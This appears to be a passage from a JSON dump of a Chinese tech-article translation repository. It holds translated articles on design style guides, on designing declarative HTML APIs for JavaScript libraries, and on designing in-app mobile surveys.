的设计指南的管理](https://medium.com/shyp-design/managing-style-guides-at-shyp-c217116c8126#.kvncovr64)\n\n**[2]**[**Statamic**](https://statamic.com/)\n\nStatamic 是一个强大的可以由设计师和开发人员使用的工具。一旦你安装并学习了使用它的正确方法，你就可以快速建立一个实时库。对于你和你的团队来说它的版本控制能力也非常强大。\n\n**[3]**[**Cloudcannon**](http://cloudcannon.com/)\n\n如果你知道如何使用 HTML, JavaScript, CSS 及任何静态内容，Cloudcannon 就是一个能够帮助你去做正确的事情的工具。它与你在 Squarespace 中定制你的个人网站类似，对于同时负责同时显示海量内容的代理设计师来说，它尤其强大。\n\n#### 无需编码经验的工具集 ####\n\n1 [**Craft**](https://www.invisionapp.com/craft)\n\nCraft 是一个 Sketch 插件，可以帮助设计师们通过云端的设计库进行合作。设计师们可以通过它互相配合来构建风格指南以及组件符号库。\n\n2 [**frontify.com**](https://frontify.com/)\n\nFrontify 是一个在线样式指南文档工具。它对初学者非常友好。\n\n3 [**Confluence**](https://www.atlassian.com/software/confluence) 是一个团队文档工具，通常用于记录产品的所有内容，包括设计原则、规则等等。\n\n### 设计规范的例子 ###\n\n#### [Material Design](https://material.io/guidelines/) ####\n\n这是 Google 公布的著名的设计规范，它包括介绍、风格、动作、布局、组件、模式、成长和沟通、可用性和资源。如果你希望以 Google 的 Material Design 样式创建产品、或者你的团队正在使用任何 Material Design 的设计框架，那么这会非常有用。\n\nMaterial Design 的设计规范没有包含任何代码库，但却有一些基于 Material Design 建立的第三方资源。比如：[Angular Material](https://material.angularjs.org/latest/), [Material Design Lite](https://getmdl.io/), [Material for Bootstrap](http://fezvrasta.github.io/bootstrap-material-design/) 和 [Material UI](http://www.material-ui.com/#/).\n\n#### [Lightning Design](https://lightningdesignsystem.com/) ####\n\nLightning Design 是为 Saleforce SaaS 产品而建立的一套设计规范。它包含了指南、组件、设计口令、图标和相关资源。设计人员可以将组件名称放在设计交付上，然后开发人员便能轻松正确地构建组件。\n\n例如，如果设计师说：「我想要对这个卡片施加一个阴影效果」。那么草图中卡片的参数就会是 `0px 2px 2px 0px rgba(0,0,0,.16)`。 他们可以将实物模型的类命名为 `$elevation-shadow-2`，这就可以帮助开发人员构建设计师真正想要的卡片。\n\n#### 其他例子: ####\n\n[iOS 人机界面指南](https://developer.apple.com/ios/human-interface-guidelines/overview/design-principles/)\n\n[IBM 设计语言](http://www.ibm.com/design/language/)\n\n[Styleguide.io](http://styleguides.io/) (你可以在这个网站里找到大量的例子)\n\n[风格指南的灵感来源](https://medium.muz.li/style-guide-inspirations-dfb77c4bb13b#.kez5ifoif) by *Muzli*\n\n### 相关文章 ###\n\n[这些毋庸置疑的最炫酷的 Sketch 技巧](https://medium.com/ux-power-tools/this-is-without-a-doubt-the-coolest-sketch-technique-youll-see-all-day-ddefa65ea959#.2b1ax4tjx) *by Jon Moore*\n\n[Shyp 的设计指南的管理](https://medium.com/shyp-design/managing-style-guides-at-shyp-c217116c8126#.kvncovr64) *by Micah Sivitz*\n\n[构建视觉语言](http://airbnb.design/building-a-visual-language/) *by Airbnb design team*\n\n[我们如何在 GoCardless 设计团队中使风格指南保持最新 ](https://medium.com/gocardless-design/design-style-guide-post-b48b546f928#.4z4aptcdx)*by Sam Wills*\n\n[设计规范中的动画](https://24ways.org/2016/animation-in-design-systems/) *by Sarah Drasner*\n\n感谢你的阅读！\n\n如果你喜欢我的文章，欢迎给我打个❤️ :)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/designing-html-apis.md",
    "content": "> * 原文地址：[HTML APIs: What They Are And How To Design A Good One](https://www.smashingmagazine.com/2017/02/designing-html-apis/)\n> * 原文作者：[Lea Verou](https://www.smashingmagazine.com/author/lea-verou/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[王子建](https://github.com/Romeo0906)\n> * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[zhangqippp](https://github.com/zhangqippp)\n\n# 如何设计优秀的 HTML API #\n\n作为 JavaScript 开发者，我们经常忘记并不是所有人都像我们一样了解 JavaScript，这被称为[知识的诅咒](https://en.wikipedia.org/wiki/Curse_of_knowledge)：当我们精通某个内容的时候，我们就不记得自己作为新人的时候有多么困惑。我们总是对其他人的能力估计过高，因此我们觉得，自己写的类库需要一些 JavaScript 代码去初始化和配置也很 OK。然而，一些用户却在使用过程中大费周折，他们疯狂地从文档中复制粘贴例子并随机组合这些代码，直到它们生效。\n\n你或许会想，“但是所有写 HTML 和 CSS 的人都会 JavaScript，对吧？”你错了。来看看我的[调查结果](https://twitter.com/LeaVerou/status/690583334414635009)吧，这是我所知道的唯一的相关数据了。（如果你知道任何适用于这个话题的调查，请在评论中说明！）\n\n![](https://www.smashingmagazine.com/wp-content/uploads/2017/02/lea-verou-poll-tweet-opt.png)\n\n测试：“你对 JavaScript 好感如何？”（[2016 年 1 月 22 日](https://twitter.com/LeaVerou/status/690583334414635009)）\n\n每两个写 HTML 和 CSS 的人中就有一个**对 JavaScript 没有好感**。1/2，让我们感受一下这个比例。\n\n举个例子，来看以下的代码，该代码用来初始化一个 jQuery UI 自动完成库，摘自[其文档](https://jqueryui.com/autocomplete/)。\n\n```\n<div class=\"ui-widget\">\n    <label for=\"tags\">Tags: </label>\n    <input id=\"tags\">\n</div>\n```\n\n```\n$( function() {\n    var availableTags = [\n        \"ActionScript\",\n        \"AppleScript\",\n        \"Asp\",\n        \"BASIC\",\n        \"C\"\n    ];\n    $( \"#tags\" ).autocomplete({\n        source: availableTags\n    });\n} );\n```\n\n这很简单，即使对那些根本不会 JavaScript 的人来说也很简单，对吧？错。一个非程序员在文档中看到这个例子的时候，脑子里会闪过各种问题：“我该把这段代码放哪儿呢？”“这些花括号、冒号和方括号是些什么鬼？”“我要用这些吗？”“如果我的元素没有 ID 怎么办？”等等。即使这段极其简短的代码也要求人们了解对象字面量、数组、变量、字符串、如何获取 DOM 元素的引用、事件、 DOM 树何时构建完毕等等更多知识。这些对于程序员来说微不足道的事情，对不会 JavaScript 的只会写 HTML 的人来说都是一场攻坚战。\n\n现在来看一下 [HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element) 中的等效声明性代码：\n\n```\n<div class=\"ui-widget\">\n    <label for=\"tags\">Tags: </label>\n    <input id=\"tags\" list=\"languages\">\n    <datalist id=\"languages\">\n        <option>ActionScript</option>\n        <option>AppleScript</option>\n        <option>Asp</option>\n        <option>BASIC</option>\n        <option>C</option>\n    </datalist>\n</div>\n```\n\n这会让写 HTML 的人看得更清楚更明白，在程序员看来更为简单。我们看到所有的内容都同时被设置好，不必关心什么时候初始化，如何获取元素的引用和如何设置每个内容，无需知道哪个函数是用来初始化或者它需要什么参数。在更高级的使用情况中，还会添加一个 JavaScript API 来允许动态创建属性和元素。这遵循了一条最基本的 API 设计原则：让简单的内容变得更简单，让复杂的内容得以实现。\n\n这给我们上了一堂**关于 HTML API 的重要课程**：HTML API 不光要给那些了解 JavaScript 但水平有限的人带来福音，还要让我们 —— 程序员 —— 在普通的工作中也要不惜牺牲程序的灵活性来换取更高的表述性。然而不知怎的，我们在写自己的类库的时却总忘记这些。\n\n那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义，API（也就是应用程序接口）是“用于构建应用程序软件的一组子程序定义、协议和工具”。在 HTML API 中，定义和协议就是 HTML ，工具在 HTML 中配置。HTML API 通常由可用于现有 HTML 内容的类和属性模式组成。通过 Web 组件，甚至可以像玩游戏一般[自定义元素名称](https://www.w3.org/TR/custom-elements/)和 [Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，并且对页面其余部分隐藏实现细节。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是可以举一反三的。\n\nHTML API 加强了设计师和工程师之间的合作，减轻工程师肩上的工作负担，还能让设计师创造更具还原度的原型。在类库中引入 HTML API 不仅让社区更具包容性，最终还能造福程序员。\n\n**并不是每个类库都需要  HTML API。** HTML API 在使用了 UI 元素的类库中非常有用，比如 galleries、drag-and-drop、accordions、tabs、carousels 等等。经验表明，如果一个非程序员不能理解该类库的功能，它就不需要 HTML API。比如，那些简化代码或者帮助管理代码的库就不需要 HTML API。那 MVC 框架或者 DOM 助手之类的库又怎会需要 HTML API 呢？\n\n目前为止，我们只讨论了 HTML API 的定义、功能和用处，文章剩下的部分是关于如何设计一个好的 HTML API。\n\n### 初始化选择器 ###\n\n在 JavaScript API 中，初始化是被类库的用户严格控制的：因为他们必须手动调用函数或者创建对象，他们精确地控制着其运行的时间和基础。在 HTML API 中，我们要帮用户选择，同时也要确保不会妨碍那些仍然使用 JavaScript 的用户，因为他们可能希望得到完全控制。\n\n最常见的兼容两种使用场景的办法就是，只有匹配到给定的选择器（通常是一个特定的类）时才会自动初始化。[Awesomplete](http://leaverou.github.io/awesomplete) 就是采用的这种方法，只选取具有 `class=\"awesomplete\"` 的 input 元素进行初始化。\n\n有时候，简化自动初始化比做显式选择初始化更重要。这很常见，当你的类库需要运行在众多元素之上时，避免手动给每个元素单独添加类比显式选择初始化更加重要。比如，[Prism](http://prismjs.com/) 自动高亮任何包含 `language-xxx` 类的 `<code>` 元素（HTML5 的说明中[建议指定代码段的语言](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)）及其包含 `languate-xxx` 类的元素内部的 `<code>` 元素。这是因为 Prism 可能会用在一个有着成千上万代码段的博客系统中，回过头去给每一个元素添加类将会是一项非常巨大的工程。\n\n在可以自由地使用 `init` 选择器的情况下，允许选择是否自动化将会是一个良好的实践。比如，[Stretchy](https://leaverou.github.io/stretchy) 默认自动调整**每个** `<input>`、`<select>` 和 `<textarea>` 的尺寸，但是也允许通过 `data-stretchy-filter` 属性自定义指定其他元素为 `init` 选择器。Prism 支持 `<script>` 元素的 `data-manual` 属性来完全取消自动初始化。良好的实践应该允许 HTML 和 JavaScript 都能设置这个选项，来适应 HTML 和 JavaScript 两种类库的用户。\n\n### 最小化初始标记 ###\n\n那么，对于 `init` 选择器的每个元素来说，你的类库都需要其有一个封包、三个内部的 button 和两个相邻的 div 该怎么办呢？没问题，自己生成就好了。但是这种磨磨唧唧的工作更适合机器，而不是人。**不要期望每个使用类库的人都同时使用了一些模板系统**：许多人还在使用手动添加标记，他们会发现这样建造系统太过复杂。因此，我们有义务让他们活的轻松一点。\n\n这种做法也最小化了错误风险：如果一个用户仅仅引入了用来初始化的类却没有引入所有需要的标记怎么办？如果不需要添加额外的标记，就不会产生错误。\n\n这条规则中有一个例外：优雅地退化并渐进地增强。比如，即使单个具有“ data- * ”属性的元素并在“ data-* ”中添加所有选项就可以实现，在嵌入推文的时候也还是会涉及很多标记。这样做是为了在 JavaScript 加载和运行之前就使得推文可读。一个良好的经验法则就是扪心自问，即使在没有 JavaScript ，多余的标记能否给终端用户带来好处？如果是，那么就引入；如果不是，那就要用类库生成。\n\n便于用户使用还是让用户自定义也是一组经典的矛盾：自动生成所有的标记会易于用户使用，让用户自定义又显得更加灵活。**在你需要的时候，灵活性如雪中送炭，在不需要的时候却适得其反**，因为你不得不手动设置所有的参数。为了平衡这两种需要，你可以生成那些需要但不存在的标记。比如，假设你需要给所有的 `.foo` 元素外层添加一个 `.foo-container` 元素。首先，通过 `element.closest(\".foo-container\")` 检查 `.foo` 元素的父元素或者任何的祖先元素（这样最好了）是否含有 `foo-container` 类，如果有的话，你就不用生成新的元素，直接使用就可以了。\n\n### 设置 ###\n\n典型地，设置应该通过在恰当的元素上使用 `data-*` 属性来实现。如果你的类库中添加了成千上万的属性，然后你希望给它们添加命名空间来避免和其他类库混淆，比如这样 `data-foo-*`（foo 是基于类库名字的一到三个字母长度的前缀）。如果名字显得太长，你可以使用 `foo-*`，但是要有心理准备，这种方式会打破 HTML 验证并且会使得一些勤劳的 HTML 作者因此而弃用你的类库（因为他们宁愿费点力气，也不愿意使用这种命名。译者注。）。理想情况下，只要代码不会太臃肿，以上两种情况都应该支持。目前还没有完美的解决办法，因此在 WHATWG 中展开了一场如火如荼的[讨论](https://github.com/whatwg/html/issues/2271)：是否应该让自定义的属性前缀合法化。\n\n**尽可能地遵从 HTML 的惯例**。比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论其值如何都被视为 `true`，若不出现则被视为 `false`，不要期望可以用 `data-foo=\"true\"` 或者 `data-foo=\"false\"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 哪天突然死翘翘了，你也想那样吗？\n\n你也可以使用类进行**布尔值**设置。典型地，类的语法和布尔属性值类似：类存在的时候是 `true` 不出现的时候就是 `false`。如果你想反过来设置，那就用一个 `no-` 前缀（比如，`no-line-number`）。但是要记住，类名可不像属性一样只有 `data-*`，因此这种方式很可能会和用户现存的类名冲突，因此你可以考虑一下在类名中使用 `foo-` 这样的前缀来避免冲突。但也有可能在后期的维护中发现这些类并未被 CSS 使用所以误删，这又是另一个隐患。\n\n当你需要设置一组相关的布尔值时，使用空格区分会比使用多个分隔符的方式好很多。比如，`<div data-permissions=\"read add edit delete save logout\">` 就比 `<div data-read data-add data-edit data-delete data-save data-logout\">`，和 `<div class=\"read add edit delete save logout\">` 好得多，因为后者可能会造成很多的冲突。你还可以使用 `~=` 属性选择器来定位单个元素，比如 `element.matches(\"[data-permissions~=read]\")` 可以检查该元素是否有 `read` 权限。\n\n如果设置内容的类型是**数组或者对象**，那么你就可以使用 `data-*` 属性来关联到另一个元素。比如， HTML5 中的自动完成：因为自动完成需要一个建议列表，你可以使用 `data-*` 属性并通过 ID 联系到包含建议内容的 `<datalist>` 元素。\n\nHTML 有一个惯例很让人头痛：在 HTML 中，用属性联系到另一个元素通常是靠引用其 ID 实现的（试想一下 `<label for=\"...\">`）。然而，这种方法相当受限制：如果能够允许使用选择器或者甚至允许嵌套将更为方便，其效果将会极大地依赖于你的使用情况。要记住，稳定性重要，但实用性更加重要。\n\n**即使有些设置内容不能在 HTML 中指定也没关系**。在 JavaScript 中以函数为设置值的部分被称作“高级自定义”。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置，所有的函数设置只能通过 JavaScript 使用（`filter`、`sort`、`item`、`replace`、`data`），这样会写 JavaScript 函数来配置类库的人就可以使用 JavaScript API 了。\n\n正则表达式（regex）处在灰色地带：典型的，只有程序员才知道正则表达式（甚至程序员在使用的时候也会有问题！）；那么，乍看之下，在 HTML API 中引入正则表达式类型的设置并没有意义。然而，HTML5 确实引入了这样的设置（`<input pattern=\"regex\">`），并且我相信那很成功，因为非程序员能在[正则词典](http://www.html5pattern.com/)中找到他们的用例并复制粘贴。\n\n### 继承 ###\n\n如果你的 UI 库在每个页面只会调用一两次，继承将不会很重要。然而，如果要应用于多个元素，通过类或者属性给每个元素做相同的配置将会非常令人头痛。记住**并不是每个人都用了构建系统**，尤其是非程序员。在这些情况下，定义能够从祖先元素继承设置将会变得非常有用，那样多个实例就可以被批量设置了。\n\n还拿 Smashing Magazine 中使用的时下流行的语法高亮类库 —— [Prism](http://prismjs.com/) 来举例。高亮语句是通过 `language-xxx` 形式的类来配置的。是的，这违反了我们在前文中谈过的规则，但这只是一种主观决策，因为 [HTML5 手册中建议如此](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)。在有许多代码段的页面上（想象一下，在博客文章中使用内联 `<code>` 元素的频率！），在每个 `<code>` 元素中指定代码语句将会非常烦人。为了缓解这种痛苦，Prism 支持继承这些类：如果一个 `<code>` 元素自己没有 `language-xxx` 类，那么将会使用其最近的祖先元素的 `language-xxx` 类。这使得用户可以设置全局的代码语句（通过在 `<body>` 或者 `<html>` 元素上设置类）或者设置区块的代码语句，并且可以在拥有不同语句的元素或者区块上重写设置。\n\n现在 [CSS 变量](https://www.w3.org/TR/css-variables/)已经被[所有的浏览器支持](http://caniuse.com/#feat=css-variables)，它们可以用于以下设置：他们默认可以被继承，并且可以以内联的方式通过 `style` 属性设置，也可以通过 CSS 或者 JavaScript 设置。在代码中，你可以通过 `getComputedStyle(element).getPropertyValue(\"--variablename\")` 获取它们。除了浏览器支持，其主要的劣势就是开发者们还没习惯使用它们，但是那已经发生改变了。并且，你不能像监视元素和属性的一般通过 `MutationObserver` 来监视其改变。\n\n### 全局设置 ###\n\n大多数 UI 类库都有两组设置：定义每个组件表现形式的设置和定义**整个类库表现形式**的全局设置。目前为止，我们主要讨论了前者，你现在可能在好奇全局设置该在设置在哪里。\n\n进行全局设置的一个好地方就引入类库的 `<script>` 元素。你可以通过 [`document.currentScript`](http://www.2ality.com/2014/05/current-script.html) 获取该元素，这有着非常好的[浏览器支持](http://caniuse.com/#feat=document-currentscript)。好处就是，这对于设置的作用域非常清楚，因此它们的名字可以起的更短（比如 `data-filter` 而不是 `data-stretchy-filter`）。\n\n然而，你不能只在 `<script>` 元素中进行设置，因为一些用户可能会在 CMS 中使用你的类库，而 CMS 中不允许用户自定义 `<script>` 元素。你也可以在 `<html>` 和 `<body>` 元素或者甚至任何地方设置，只要你清楚地声明了属性值重复的时候哪个会生效。（第一个？最后一个？还是其他的？）\n\n### 文档 ###\n\n那么，你已经掌握了如何在类库中设置一个漂亮的声明性的 API。棒极了！然而，如果你所有的文档都写得只有会 JavaScript 的用户才看得懂，那么就只有很少人能使用了。我记得曾经看过一个很酷的类库，基于 URL 并通过切换元素的 HTML 属性来切换元素的表现形式。然而，这漂亮的 HTML API 并不能被其目标人群所使用，因为整篇文档中都充满了 JavaScript 引用。最开始的例子是这样开始的“这和 `location.href.match(/foo/)` 等价。”非程序员哪能看懂这个呢？\n\n同时要记得许多人并不会任何编程语言，不光是 JavaScript。你期望用户能够读懂并理解的文中的模型、视图、控制器或者其他软件工程观念，结果无非是让他们摸不着头脑并且放弃。\n\n当然，你应该在文档中写 API 里 JavaScript 的内容，你可以写在“高级使用”部分。然而，如果你在文档一开头就引用 JavaScript 对象和函数或者软件工程的观念，那么你实质上就是在告诉非程序员这个类库不是给他们用的，因此你就排除了一大批潜在用户。不幸的是，大部分的 HTML API 类库文档都受这些问题困扰着，因为 HTML API 经常被视为是程序员的捷径，而并不是给非程序员使用的。庆幸的是，这种状况在未来可以有改变。\n\n### 那么 Web 组件呢？ ###\n\n在不远的未来，Web 组件百分之百将会彻底改变 HTML API。`<template>` 元素将会允许作者提供惰性加载的脚本。自定义元素将使得用户可以像原生的 HTML 一样使用更多优雅的 `init` 标记。引入 HTML 也将使得作者能够仅引入一个文件来替代三个样式表、五个脚本和十个模板（如果浏览器能够同时获取并且[不再认为 ES6 模块是一种竞争技术](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)）。Shadow DOM 使得类库可以将复杂的 DOM 结构适当压缩并且不会影响用户自己的标记。\n\n然而除了 `<template>`，浏览器对其他三个特征的支持[目前受限](http://caniuse.com/#search=web%20components)。因此他们需要更高的聚合度，以此来减少对类库的影响。然而，这将会是你在未来一段时间里需要不断关注的东西。\n\n### MarkApp：一个 HTML API 类库的列表\n\n如果你已经听取了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有包容性和更有创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请发 Pull Request 给我来添加你自己的内容！\n"
  },
  {
    "path": "TODO/designing-in-app-survey.md",
    "content": "> * 原文链接: [Designing an in-app Survey](https://medium.com/budi-brain/designing-in-app-survey-6163304e88dd)\n* 原文作者: [Budi Harto Tanrim](https://medium.com/@buditanrim)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [Gran](https://github.com/graning)\n* 校对者:[rottenpen](https://github.com/rottenpen)，[whyalwaysmea](https://github.com/whyalwaysmea)\n\n# 如何在应用内设计一份调查？\n\n\n![](http://ac-Myg6wSTV.clouddn.com/1df377425299748db94f.gif)\n\n\n上周，一个我最喜欢的应用发调查邮件给我。何乐而不为呢？但是我几乎无法完成调查，因为它太麻烦了。在一个主题下面同一页他们提问了 2 到 3 个问题，这导致我要上下左右移动我的屏幕才能看见完整问题。\n\n糟糕的体验。😰\n\n那天晚上，一些有关可能让移动端调查体验更好的想法在我脑海中浮现出来。在这篇文章中，我将分享一些关于我如何在应用内设计一份调查以获取用户的产品反馈的一些观点，思想及流程。\n\n许多因素可以造就一个调查的成功。但是在调查的时候，重要的是让用户愿意**接受**调查以及**完成**调查。调查是为了得到可用于帮助我们做出更好的业务决策的最佳结果。\n\n### 目标\n\n所以我决定设计一个 app 可以做到：\n\n*   快速获取用户情感以及反馈\n*   使用户轻松的完成调查\n*   设计出最贴心的方式让用户接受调查\n*   设计出一个自定义格式与传统调查方法相结合的调查。\n\n这将带领我实现两个主要目标。\n\n> **1st : 让用户乐意接受调查.**  \n> **2nd : 设计出一个让他们能以最简便的方式填写的调查.**\n\n![](http://ac-Myg6wSTV.clouddn.com/2bfba656090d9f59d0bb.jpeg)\n\n### 理解用户\n\n每个人都知道没有人乐意“帮助”公司变得更好，事实上，人们都很忙，成天的通知和电子邮件轰炸。所以，要让用户轻松乐意的参与进来这是很重要的。\n\n#### 掌握好时间⌚️\n\n我强调的第一件事就是发送调查的最佳时机。必须要找出一个用户高兴和激动的时间点，因此他们有更高的意愿参与进来至少愿意接受调查。\n\n人们称这个是一个“事后调查”。下面是一个例子，让我们说，你今天收到了来自亚马逊的快递，你前段时间买的一个 27\" 的显示器或者背包。你很开心，兴奋的使用它，脸上露出微笑:)。可能那一刻是你最愿意接受调查的时间。\n\n还有一点很重要，不要对从未使用过产品的用户发出调查。依我来看，一个从开始就使用我们的应用直到 2 - 4 次之后的用户将会有一些新想法，有关他们对我们所期望的一些功能或者改变。如果顺利的话，用户发现了一个有用的经验，这将使用户更加乐意接受调查。很实用吧~。\n\n#### 友好的询问\n\n就像你曾经经历过的调查一样，弹出的总是废话。所以，我的下一个问题是：哪一种方式是使用户参与调查最讨厌的方式？\n\n> 不管你最后做了什么，一些用户仍然很恼火。\n\n我探讨了很多方法，最终确定了一个比较好的方法。我管这种方法叫做“变色龙”，它基于 _request UI_ 在自然界面内混合。不同于弹出的方法，这将不需要来自用户的任何直接操作。它的存在，使用户在已经采取或拒绝之前它已经准备好了。\n\n![](http://ac-Myg6wSTV.clouddn.com/ba951989a233aaf03fbf.jpeg)\n\n#### 退出方案\n\n每个人都会犯错，有时当我们陷入困境，我们必须给我们的用户道歉。如果这情况发生，而不是抛出调查，对愤怒的客户我们只期待对以上发生的事情有一个简单的反馈。\n\n![](http://ac-Myg6wSTV.clouddn.com/dbbfad5e6ed8e082225a.jpeg)\n\n它要么得到反馈或者调查，抑或失去客户！\n\n#### 用物质鼓励用户填写问卷\n\n另外一点，为了鼓励用户给他们一些补偿仅仅是因为他们花费他们的空闲时间来回答问题，而我们会获得大数据以便做出更好的决策。对于物质奖励，我一般是给予用户下一次交易的 50% 折扣。\n\n我觉得这是最有争议的话题 — 我们是否应该给用户一个填写问卷的奖励。这样做的风险在于，用户可能无法诚实的回答问题，只是在乎奖励。无论哪种方式，我始终认为奖励很重要，但是为了减少这种风险，我不会给予丰厚的奖励，但是在另一方面，我们很难给出一个小小的奖励，所以我们必须找到一个折中的奖励量使事情平衡，我们希望此种方式获得用户赏识。\n\n_太好了，我们至少有了一个让用户乐意接受调查的方法。_\n\n![](http://ac-Myg6wSTV.clouddn.com/8a38c6f72e28fbed1a88.png)\n\n仍然讲这些吗，不，最有趣的东西来了！\n\n### 设计过程\n\n我的目标是通过设计创造出一个可以让用户有愉快体验的调查。\n\n#### 建立低保真模型\n\n这一次，我使用了传统的动画技术，我在 Photoshop 中画了一个快速互动。有了这个，我可以消除一些我不喜欢的，专注于获得最佳效果的概念，我的主要重点是要找到每个类型问题的最佳布局，例如选择，量表和评级。\n\n![](http://ac-Myg6wSTV.clouddn.com/accbc610aa69259bb97c.gif)\n\n注意：如果你盯着这个图像太久，你可能会感到头晕因为他的循环做的不是很好。\n\n#### 开发外观和色调\n\n如果你跟着我上 [Dribbble](http://dribbble.com/buditanrim) ，我一直在设计这个叫做 [Shipp](https://dribbble.com/buditanrim/projects/375567-Shipp) 的概念项目。通过使用我的既定的设计语言，这让我很快做出立体透视图进入高保真度的设计。\n\n![](http://ac-Myg6wSTV.clouddn.com/5a026bd73925c9915206.jpeg)\n\n#### 交互设计\n\n我跳进 After Effects 中，这只需提供有关页面过度和所以交互的信息。_通常这将帮助开发人员，以及帮助推销这个想法给客户端。_\n\n![](http://ac-Myg6wSTV.clouddn.com/b0c23a662c7528572b9d.gif)\n\n开幕 — 量表互动\n\n![](http://ac-Myg6wSTV.clouddn.com/b68f97712ac7f52c6cac.gif)\n\n复选框和单选互动\n\n#### 情感图标设计\n\n正如我在标题中提到的，我试图捕捉用户的情感。我们在想让用户怎么做，让他们觉得我们的主要特征可以通过一个简单的答案表达出来。我**被 Facebook 启发**关于他们如何轻松获得用户表达通过情感图标来实现。\n\n起初，我认为最好有五种情绪表达模仿“李克特量表”，一个问题有五种回答：_非常开心，快乐，中立，不快乐，极为不满。_\n\n我可能是错的，但是当我把自己当成用户—这有一点压倒性，我的意思是我怎么能说出无比快乐与幸福之间的区别呢？为了使这个简单明了，我决定只采用3个明显的选项，如：\n\n*   不开心（愤怒的表情）\n*   中立 (平坦的表情)\n*   开心 (高兴的表情)\n\n![](http://ac-Myg6wSTV.clouddn.com/cd4f0c0e3a802651ace6.jpeg)\n\n探索情感图标的反馈\n\n快乐的表情，可能是太多。但是我仅仅是想让这个项目变得有趣一些。话虽这么说，在现实中的项目我可能会重新考虑那一个。\n\n#### 将情感图标带进生活\n\n在许多的探索阶段之后，我想请教一下重要功能，比如我们的客户支持关系。我创造了这个微妙的动画表情，以帮助用户更容易的选择他们如何看待我们的支撑线，最重要的是 — 我想知道为什么他们有这样的感觉。略过我脑海的第一件事就是提供一个文本框，用户可以键入他们的理由。不过，我并不认为这将是方便用户。\n\n![](http://ac-Myg6wSTV.clouddn.com/2d141a6501cddb5996bc.gif)\n\n愤怒，中立，满意。\n\n所以，我想出了这样的解决方法。\n\n![](http://ac-Myg6wSTV.clouddn.com/fe809b8ef108ec3be5a9.jpeg)\n\n首先，询问用户的感受，然后才是为什么。\n\n![](http://ac-Myg6wSTV.clouddn.com/c79b4fc141d870c14b0b.gif)\n\n我做了一些研究，并收集了一些数据这对我很有意义，我想出了一些有关浏览的规则。下面是一些该做的和不该做的和我的假设。\n\n#### 应该做的：\n\n*   **一个页面一个问题** — 不要让你的用户上下滚动页面，这很烦。\n*   **考虑触控空间** — 优化空间，不要让用户因为按错而错过了答案而纠缠。这是关于制作愉快的经验。\n*   **问题总数保持在 8 个以内** — 大多数专家建议保持调查内容简洁。我认为，8 个问题将是最理想的状态，这将更好的优化问题，使他们更有价值，\n\n### 最好别做:\n\n*   **避免下拉** — 下拉永远不是一个好主意，在屏幕上立刻显示要好得多。\n*   **避免使用矩阵表** — 想也别想。\n*   **避免使用封闭式的问题** — 不要给用户是或不是这种问题。让你的用户表达自己越坦白越好。\n*   **避免输入动作** — 如果可以，不要让用户在手机上输入。这不是什么大不了的事，但我相信它可能给你更高的回应。\n\n#### 需要考虑的事项:\n\n*   **鼓励** — 很多人认为，奖励很有用，触发用户的意愿。然而，事实并非总是如此。你必须搞清楚你的客户有没有真实参与了调查，并以此决定是否给予奖励。\n*   **进度条** — 进度条让受调查的用户知道他们离做完还有多远。不过，如果你有太多问题，你应该避免使用进度条，因为它可能会压倒你的用户。\n*   **使用第三方调查程序** — 提供应用内调查服务的应用有很多，但是他们可能不能够调整太多的设计。\n*   **寻找行业标准** — 每个行业的反应速度是不同的，尝试找到你所在行业理想的响应速度为标准。\n\n#### 推荐链接\n\n*   [**Shipp**](https://dribbble.com/buditanrim/projects/375567-Shipp) _我在文章中提到的项目_\n*   [**chromaicon.com**](http://www.chromaicon.com) _我在项目中用到的图标 (依旧是半成品)_\n*   [**apptentive.com**](http://apptentive.com) [**converser.io**](http://converser.io) _第三方应用内调查服务_\n\n### 下一步呢？\n\n#### 目前为止，我有了一个假设和一个概念。\n\n我在寻找在我未来大客户的项目中使用这个概念的机会，并且看看这个概念会如何影响真正的项目。\n\n如果我得到这样的机会，我一定会分享我的过程，多谈谈我是如何处理所有数据，以及做出更好的设计决策。希望这个概念对你能有所帮助和启发。\n\n**点击喜欢收藏这篇文章将会支持我的写作以及分享更多的设计思路。**\n\n**_最热情的你：_**\n[_Budi_](http://dribbble.com/buditanrim/)💐\n\n_特别感谢_ [_Adam Winn_](https://twitter.com/ajwinn) _对这篇文章英文版的校对工作。_\n"
  },
  {
    "path": "TODO/designing-the-icons-for-flinto-s-ui.md",
